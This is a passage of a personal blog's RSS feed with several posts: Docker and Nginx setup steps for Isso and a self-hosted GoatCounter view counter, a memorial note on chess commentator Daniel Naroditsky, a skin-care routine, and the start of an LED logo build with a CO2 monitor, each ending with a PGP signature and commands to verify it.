+grep -n '^\[server\]' /config/isso.cfg
+grep -n '^public-endpoint' /config/isso.cfg
+

Using Docker Compose (run these in the directory with your compose file)

+
docker compose ps
+docker compose logs --tail=200 isso
+docker compose up -d isso
+

If the container doesn’t exist (create/recreate)

+
docker image ls | grep -i isso
+
+docker run -d   --name isso   -p 8080:8080   -v /srv/isso/config:/config   -v /srv/isso/db:/db   --restart unless-stopped   ghcr.io/posativ/isso:latest
+

Optional: exclude from auto-updaters (like Watchtower)

+
docker update --label-add com.centurylinklabs.watchtower.enable=false isso
+

This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
+jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S
+A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB
+dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm
+Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY
+EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH
+W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb
+eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm
+Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM
+KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC
+qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa
+GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA=
+=9k+S
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md
+curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md.asc
+gpg --verify new_features.md.asc new_features.md
+  
+
+ + +]]>
Danyahttps://blog.alipour.eu/posts/danya/Tue, 21 Oct 2025 08:41:58 +0000https://blog.alipour.eu/posts/danya/A sad note about someone I knew in the online world.Daniel Naroditsky has passed away. +I’ve never been a pro chess player, but I do follow some of the fun ones, and occasionally Magnus. +I like Fabi a lot, but my all-time favorite is Hikaru. +Danya was my favorite commentator. +Someone who was so fun to watch explaining complex positions. +I think he was indeed, if not the best, one of the best at it.

+

The occasion is grim. +However, let’s remember the immense pressure he was under. +Let’s remember how he was accused of cheating by Kramnik many, many times. +By a former world champion. +Someone who has accused many and has ruined their lives for no reason. +The likes of Hikaru!

+

The problem is that Hikaru kind of went out of his way and cast doubt on Hans in the past. +I don’t know how to relate to any of these now. +I do think this is some stupid, sad consequence that these baseless accusations have. +All players have their exceptionally good days, and many many bad days. +These accusations make no sense.

+

I do think Danya went under so much pressure from these allegations, though. +I don’t know if he ever cheated or not, but like, what’s the point now? +He is gone. +He’ll never be back.

+

I don’t know what the cause was, but I hope he didn’t take his own life. +I don’t know how the world will ever forgive FIDE or Kramnik for this. +This bullying in plain sight is just brutal.

+

Rest in peace, Danya. +I don’t think the community ever forgets your amazing commentaries, and what a vibrant and nice character you were.

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM
+jSpazRAAkvfyfZFtYRnSapnmBsWF+f6Sj42Cy5T5PFq6C+DdQdOq1VZjGComKjXv
+YqD4dkiBNsFXehp/DLUXxh+jvme1icBas5tZJooJX+ykhlDflRRheyz3k/3fpVV2
+fo48rh5vV3cn1zDUZA2+XJ6I4FMFtUBCTVwtEVTCFNeut2CJzvUnCY3ocQDtBC2O
+u6PH0hwDYvarj4RFEadIq2+vfN9mSpgTmmoTm7rmKPtKXcZ8DYwS+7tS8RZnYMX9
+BpaFLH07aYgusamoSS51m6xCL1hSX3tq709bBCJT8/p7Mva/LmwWo3aUH6PqFCY2
+eTnhxoMGldwPp4PKq3bGt6KrI2zN+P4dTq7LWUdmrlHsxyLGaVhymG4XdrWYxG4c
+9JhD3FFuNX6u3TMekt9I6BZMmNHX6RLl2Nka/ohXV+1HyH/1flk/47szJXGZ6Gg+
+NEWWr1rkFZZWju2cVzjprquVbLbRlBuTiBvF3qSaPjhN6VH/XBFkXr8sv4/kSq6B
+Gn8TtHsqrljhID2OBIv21R5SvtqA61pHzdC47Ie1mzvF4WupJjAA0ekPEBoRgc7X
+xc7JMmK+AHfIFgEwQUKfgFQ0w89qEUKZve5ThyXjok/9EnvygseomqwGV30DN0S8
+zVuQEy3O7tkGShRjgnS+T4QddXNk6ciGzEisIIxyFEzJ6P6KSr4=
+=BEoA
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/danya.md
+curl -fSLO https://blog.alipour.eu/sources/posts/danya.md.asc
+gpg --verify danya.md.asc danya.md
+  
+
+ + +]]>
Skin routinehttps://blog.alipour.eu/posts/skin_routine/Mon, 20 Oct 2025 18:47:04 +0000https://blog.alipour.eu/posts/skin_routine/My skin routine!I don’t know how to answer the “why?” or “whyyyyy?” or even “why the f***?” I have a skin routine. +Last year, after I came to Germany, I asked a female friend about how to do skin care. +She touched my face and said, “Knock on wood, you have good skin!”. +So… idk why I decided to take extra care of my skin, but I did!

+

Generally speaking, things like this make me feel good about myself. +Like I’m doing something positive while not being tortured! +It’s always fun to rub cream on your face or gently massage it. +Even cleaning the face skin feels refreshing. +Everything also smells nice!

+

Oh… and yeah, idk why I’m not good at excercising, but I really like to do things like this! +Weird. +I should definitely start going to the gym and working out. +It is needed for me.

+

So… I decided to watch a few Youtube videos, and a guide about skin care for men. +My routine is super simple! +I have a face cleanser that I use first and wash my face with it. +It always feels refreshing and nice to use it! +I initially bought the CeraVe cleaner, but switched to “Jack Black Pure Clean Daily Facial Cleanser” after that one ended. +The cleanser deeply cleans your skin, and almost all of the bad things that might be on your skin. +You don’t need to use the cleanser in the morning, but you should definitely use it at night. +It’s ok to wash your face with water in the morning.

+

The next step for me is applying the toner. +I use “NIVEA Derma Skin Clear Toner”. +It smells really nice and is quite refreshing to apply to the skin! +The toner adjusts the PH of your skin, and deep cleans things that the cleanser could not. +I gently rub it and let it dry; no rinsing is required here.

+

After this, I apply an exfoliant to exfoliate my skin. +I’ve been using “Paula’s Choice Skin Perfecting 2% BHA Liquid Exfoliant” so far, but this time I got “BULLDOG Original Exfoliating Face Scrub for Purer Skin”. +Haven’t used it yet, but Paula’s choice one is definitely good. +The thing with it is that you don’t have to massage it; it’s not physical; it’s an acid. +I prefer the scrubby ones, but I think these are better for your skin. +I’ll see how I like the new one, and if I prefer it or not. +No rinsing is required here either.

+

I then apply my eye cream, which is also from CeraVe. +Haven’t really seen much of a difference under my eyes, but it is supposed to help. +I don’t know! It feels good to apply the eye cream regardless.

+

The next step for me is the best one! +Moisturiser. +Yayy!!! +It actually feels weird to use a moisturiser since I’ve watched Mortuary Assisant’s gameplay, and the last step there for embalming the body is applying moisturiser. +Feels weird. +The one I use is water-based, hence perfect for men. +I use “Neutrogena Hydro Boost Aqua Gel Moisturiser”. +As a man, if you use oil-based products, you’ll get acne. +So don’t.

+

I learned to use pads for applying some of these stuff, it feels cooler when applying the things to your face, and it specifically feels good when you gently tap your face with a cotton pad! ^^

+

And… last but not least is applying sun screen. +Nothing special here. +I just make sure to use SPF 50+ sunscreen for better protection.

+

Even if it does nothing, it still makes me feel good about myself.

+

The whole routine does not take more than 10 min, but gives me an energy boost and a lot of good vibes both at night and in the morning!

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
+jSpuHQ//XvJ3YkPuPbDbaBf9PcLKftYmTRA2WWn14l1ZnLAav0MeEPVlwENAMQ5W
+hwAwfw1yF1KxMwLcskXYTpghSfIHegDjaXJqWctBQFJ8sdCUJNQyk+LTcJ1EXmED
+HhZrZJw8UsFcgyLs56pbBsIjjFMI4PbFWPxLgPu+tEpgIY8fSXzIb/gsUb/K3vZb
+JsDUyLjHwsoCn9oQFp/hE54i3LjuWtPipnSlxmWUx7AhtZUVICCQJP3/KelhXQdi
+2fPmTsVNIzRtCxjnwII6KZtqKtj1mEaIFmmykKIsRpyNIRvNjDFkCxor+NAYKJmC
+veUzhll/LpNDAnrMAZ8ykEyhInlIHFtsH8PKiWDUhhrP4eggLmnBBFYVHrZ36BU9
+48pn5odcK1Pz37rHwQKqm8RgL5PC09s2XWo6BJZGUwHjMDq8Kxtswp5JrRsAlmmi
+8yk4/W4ASJfrE5ns+PSC24ogyNx/tu/2NiT5IlmpSilr5CGN9HhbfvXERM3OGHwF
+MeTRc61McdgHDHvg0V1PdE4Pe/wLZgzKHu/H+1E04P1uVHj102RXV7HFfYYDv59b
+suCSlTj/j2dNZuwGaw8wG2U17nGng9XkCJ1J2xXKKUb2gqIpOHVPF3yRGBnZwvpX
+1bPgM8l3ItO6T55D4Ala2glHtQnhJRmi9GcdI47GpNoc2PWWKrA=
+=dBAx
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/skin_routine.md
+curl -fSLO https://blog.alipour.eu/sources/posts/skin_routine.md.asc
+gpg --verify skin_routine.md.asc skin_routine.md
+  
+
+ + +]]>
A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)https://blog.alipour.eu/posts/papermod-views-debugging-story/Sat, 18 Oct 2025 10:45:00 +0000https://blog.alipour.eu/posts/papermod-views-debugging-story/I tried to add a simple &lsquo;views&rsquo; counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.

+

The thing is, I don’t think the counter even works correctly. +Or maybe I’m undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I’ve been counting days for.

+ +

First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:

+
<div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
+  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
+     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
+    { partial "svg.html" (dict "name" "rss") }
+    <span>RSS</span>
+  </a>
+
+  <span aria-hidden="true">·</span>
+
+  <span id="busuanzi_container_site_pv">
+    Site views: <span id="busuanzi_value_site_pv">—</span>
+  </span>
+  <span aria-hidden="true">·</span>
+  <span id="busuanzi_container_site_uv">
+    Visitors: <span id="busuanzi_value_site_uv">—</span>
+  </span>
+</div>
+

So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.

+

The first round of checks

+

I added the script site‑wide in layouts/partials/extend_head.html:

+
<script src="//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js" defer></script>
+

Refreshed. Still blank.

+

DevTools time. Network tab: the script does load:

+
    +
  • Request URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js
  • +
  • Request Method: GET
  • +
  • Status Code: 304 Not Modified
  • +
  • Referrer Policy: strict-origin-when-cross-origin
  • +
  • User-Agent: a normal Chromium build (nothing exotic)
  • +
+

No red flags. Just a perfectly normal 304.

+

Maybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… .

+

The odd message

+

Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:

+
+

“域名过长,已被禁用 views”

+

That’s “domain name too long, disabled.” Wait, what?

+

I checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.

+

Two ways out

+

At this point I had two clean options:

+
    +
  1. Keep Busuanzi and move the site to the apex domain (short enough).
  2. +
  3. Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit.
  4. +
+

I liked the subdomain (habit, mostly), so I tried Vercount.

+

The swap (five-minute fix)

+

I removed the Busuanzi script and added Vercount instead:

+
<!-- extend_head.html -->
+<script defer src="https://events.vercount.one/js"></script>
+

I kept the same tidy footer row, but switched the IDs to Vercount’s:

+
<div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
+  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
+     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
+    { partial "svg.html" (dict "name" "rss") }
+    <span>RSS</span>
+  </a>
+
+  <span aria-hidden="true">·</span>
+
+  <span>Site views: <span id="vercount_value_site_pv">—</span></span>
+  <span aria-hidden="true">·</span>
+  <span>Visitors: <span id="vercount_value_site_uv">—</span></span>
+</div>
+

For per‑post counts (in the post meta), I added:

+
<span id="vercount_value_page_pv">—</span> views
+

Deploy. Refresh. Numbers.

+

But if you want to stay with Busuanzi…

+

If your apex domain is short enough, pointing the site there works fine. The gist:

+
    +
  • +

    Set baseURL in Hugo to the apex:

    +
    baseURL = "https://alipourimjourneys.ir/"
    +
  • +
  • +

    Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).

    +
  • +
  • +

    Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.

    +
  • +
+

Post‑mortem checklist (a.k.a. things I learned)

+
    +
  • If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule.
  • +
  • Busuanzi refuses long hostnames (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.
  • +
  • Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount).
  • +
  • CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.
  • +
+

Happy ending

+

Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.

+

If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.

+

Final notes

+

Yea… I just felt this feature was missing, and it’s good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I’ve spent too much time on it, and it feels like wasted time.

+
+

Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)

+

This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.

+
+

1) Clean up old counters (optional, once)

+
# From your Hugo site root
+grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" .
+

Remove any matching <script> and leftover *_value_* spans you no longer want.

+
+

2) Run GoatCounter with Docker Compose

+

Minimal docker-compose.yml in ~/goatcounter:

+
services:
+  goatcounter:
+    image: arp242/goatcounter:2.6
+    container_name: goatcounter
+    ports:
+      - "127.0.0.1:8081:8080"   # bind only to localhost; nginx will proxy
+    volumes:
+      - goatcounter-data:/home/goatcounter/goatcounter-data
+    restart: unless-stopped
+
+volumes:
+  goatcounter-data: {}
+

Start:

+
docker compose pull && docker compose up -d
+

Initialize the site (replace email if needed):

+
docker compose exec goatcounter   goatcounter db create site   -vhost=statsblog.alipourimjourneys.ir   -user.email=iman.alip2001@gmail.com
+
+

If you ever see “no site at this domain” on localhost: use the exact vhost above.

+
+

3) Cloudflare + Origin certificate (CF → origin TLS)

+
    +
  • DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange).
  • +
  • SSL/TLS mode: Full (strict).
  • +
  • Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server:
  • +
+
sudo mkdir -p /etc/ssl/cloudflare
+sudo nano /etc/ssl/cloudflare/origin.crt   # paste PEM
+sudo nano /etc/ssl/cloudflare/origin.key   # paste key
+sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key}
+sudo chmod 644 /etc/ssl/cloudflare/origin.crt
+sudo chmod 600 /etc/ssl/cloudflare/origin.key
+

+

4) Nginx vhost for the stats subdomain

+
# /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
+server {
+  listen 80;
+  server_name statsblog.alipourimjourneys.ir;
+  return 301 https://$host$request_uri;
+}
+
+server {
+  listen 443 ssl http2;
+  server_name statsblog.alipourimjourneys.ir;
+
+  ssl_certificate     /etc/ssl/cloudflare/origin.crt;
+  ssl_certificate_key /etc/ssl/cloudflare/origin.key;
+
+  # Proxy to the container on localhost
+  proxy_set_header Host              $host;
+  proxy_set_header X-Real-IP         $remote_addr;
+  proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
+  proxy_set_header X-Forwarded-Proto $scheme;
+
+  location / { proxy_pass http://127.0.0.1:8081; }
+}
+

Enable & reload:

+
sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
+sudo nginx -t && sudo systemctl reload nginx
+

+

5) Hugo integration (clearnet + onion, singular/plural + “0 views”)

+

Self‑host count.js so the onion mirror never fetches a third‑party script:

+
    +
  • Save the official count.js as static/js/count.js in your Hugo repo.
  • +
+

Then add this to layouts/partials/extend_head.html (loader + helper):

+
<!-- Loader: choose endpoint based on hostname -->
+<script>
+(function () {
+  var ONION = /\.onion$/i.test(location.hostname);
+  window.goatcounter = { endpoint: ONION ? '/count' : 'https://statsblog.alipourimjourneys.ir/count' };
+  var s = document.createElement('script');
+  s.async = true; s.src = '/js/count.js';
+  document.head.appendChild(s);
+})();
+</script>
+
+<!-- Helper: inline meta counts (post pages + lists) and totals -->
+<script>
+(function () {
+  const ONION = /\.onion$/i.test(location.hostname);
+  const GC_HOST = ONION ? '' : 'https://statsblog.alipourimjourneys.ir'; // '' = same-origin on .onion
+  const SING='view', PLUR='views';
+  const nf = new Intl.NumberFormat();
+
+  function ready(fn){ if (document.readyState !== 'loading') fn(); else document.addEventListener('DOMContentLoaded', fn); }
+  function gcPath(){ try { return (window.goatcounter && window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } }
+  async function fetchCount(path){
+    try {
+      const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:'omit' });
+      if (r.status === 404) return 0;
+      if (!r.ok) throw 0;
+      const j = await r.json();
+      const n = Number(String(j.count).replace(/,/g,''));
+      return Number.isFinite(n) ? n : 0;
+    } catch { return null; }
+  }
+  const label = (n) => (n === null ? '—' : `${nf.format(n)} ${n === 1 ? SING : PLUR}`);
+
+  ready(async function () {
+    // A) Single post: add to existing meta row + small bottom
+    const post = document.querySelector('.post-single');
+    if (post) {
+      const meta = post.querySelector('.post-header .post-meta, .post-header .entry-meta, .post-meta');
+      const path = gcPath();
+      const n = await fetchCount(path);
+      if (meta) {
+        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
+        span.textContent = label(n ?? 0);
+      }
+      const after = post.querySelector('.post-content') || post;
+      let bottom = post.querySelector('.post-views-bottom'); if (!bottom) { bottom = document.createElement('div'); bottom.className='post-views-bottom'; after.insertAdjacentElement('afterend', bottom); }
+      bottom.textContent = label(n ?? 0);
+    }
+
+    // B) Lists (/posts, home, sections): show “0 views” instead of hiding
+    const cards = document.querySelectorAll('article.post-entry');
+    await Promise.all(Array.from(cards).map(async (card) => {
+      const meta = card.querySelector('.entry-footer, .post-meta');
+      const link = card.querySelector('a.entry-link, h2 a, .entry-title a');
+      if (!meta || !link) return;
+      try {
+        const u = new URL(link.getAttribute('href'), location.origin);
+        if (u.origin !== location.origin) return;
+        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
+        const n = await fetchCount(u.pathname);
+        span.textContent = label(n ?? 0);
+      } catch {}
+    }));
+
+    // C) Site totals (optional placeholders)
+    const pvEl = document.getElementById('vercount_value_site_pv');
+    if (pvEl) { const n = await fetchCount('TOTAL'); pvEl.textContent = (n===null) ? '—' : nf.format(n); }
+  });
+})();
+</script>
+

Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:

+
.post-single .post-header .post-meta,
+.post-single .post-header .entry-meta,
+.post-entry .entry-footer,
+.post-entry .post-meta {
+  display:flex; align-items:center; flex-wrap:wrap; gap:.35rem;
+}
+.post-single .post-header .post-meta > *,
+.post-single .post-header .entry-meta > *,
+.post-entry .entry-footer > *,
+.post-entry .post-meta > * {
+  display:inline-flex; align-items:center; white-space:nowrap;
+}
+.post-single .post-header .post-meta > * + *::before,
+.post-single .post-header .entry-meta > * + *::before,
+.post-entry .entry-footer > * + *::before,
+.post-entry .post-meta > * + *::before {
+  content:"·"; margin:0 .5rem; opacity:.6;
+}
+.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; }
+

+

6) Count Tor (.onion) visits into the same site

+

In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:

+
# inside: server { ... } for fjthpp2h3mj2r....onion
+
+location = /count {
+  proxy_pass http://127.0.0.1:8081/count;
+  proxy_set_header Host statsblog.alipourimjourneys.ir;
+  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+  proxy_set_header X-Forwarded-Proto http; # onion is http
+}
+
+location /counter/ {
+  proxy_pass http://127.0.0.1:8081/counter/;
+  proxy_set_header Host statsblog.alipourimjourneys.ir;
+  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+  proxy_set_header X-Forwarded-Proto http;
+  add_header Cache-Control "no-store";
+  proxy_no_cache 1; proxy_cache_bypass 1;
+}
+

Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.

+
+

Note on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.

+
+

7) Troubleshooting quick notes

+
    +
  • 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header.
  • +
  • Counts don’t change on onion → verify Tor path via torsocks, watch logs: +
    docker compose logs -f goatcounter
    +# look for “ignored: bot” (curl UA), or DNT being respected
    +
  • +
  • DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin).
  • +
+

That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.

+

Honestly, self-hosting GoatCounter wasn’t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it’s done and dusted, and I’m a happy puppy! :D

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
+jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ
+DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8
+z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH
+sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2
+X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz
+cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak
++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce
+fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT
+m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP
+gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib
+dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc=
+=o387
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md
+curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md.asc
+gpg --verify view_count.md.asc view_count.md
+  
+
+ + +]]>
INET Logo That Breathes — From CAD to LEDs to a Calm Little Serverhttps://blog.alipour.eu/posts/inet_logo/Fri, 17 Oct 2025 00:00:00 +0000https://blog.alipour.eu/posts/inet_logo/<blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> +

I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

+

The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

+

So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

+

This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

+
+

1) Sketch → CAD → Print

+

Fusion design + logotype

+

I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

+
    +
  • Mounting bosses for the front diffusers (M2 screws),
  • +
  • Cable holes between chambers (rounded to avoid cutting silicone wire), and
  • +
  • A small wiring bay for the controller and power.
  • +
+

I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

+

The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

+
+

2) The Look I Wanted

+

Animations collage

+

I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

+
+

3) The Tidy Mess Behind the Panel

+

Hardware collage

+

Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

+
    +
  • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
  • +
  • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
  • +
+

I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

+

The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

+
+

4) A Web Panel that Stays Out of the Way

+

UI collage

+

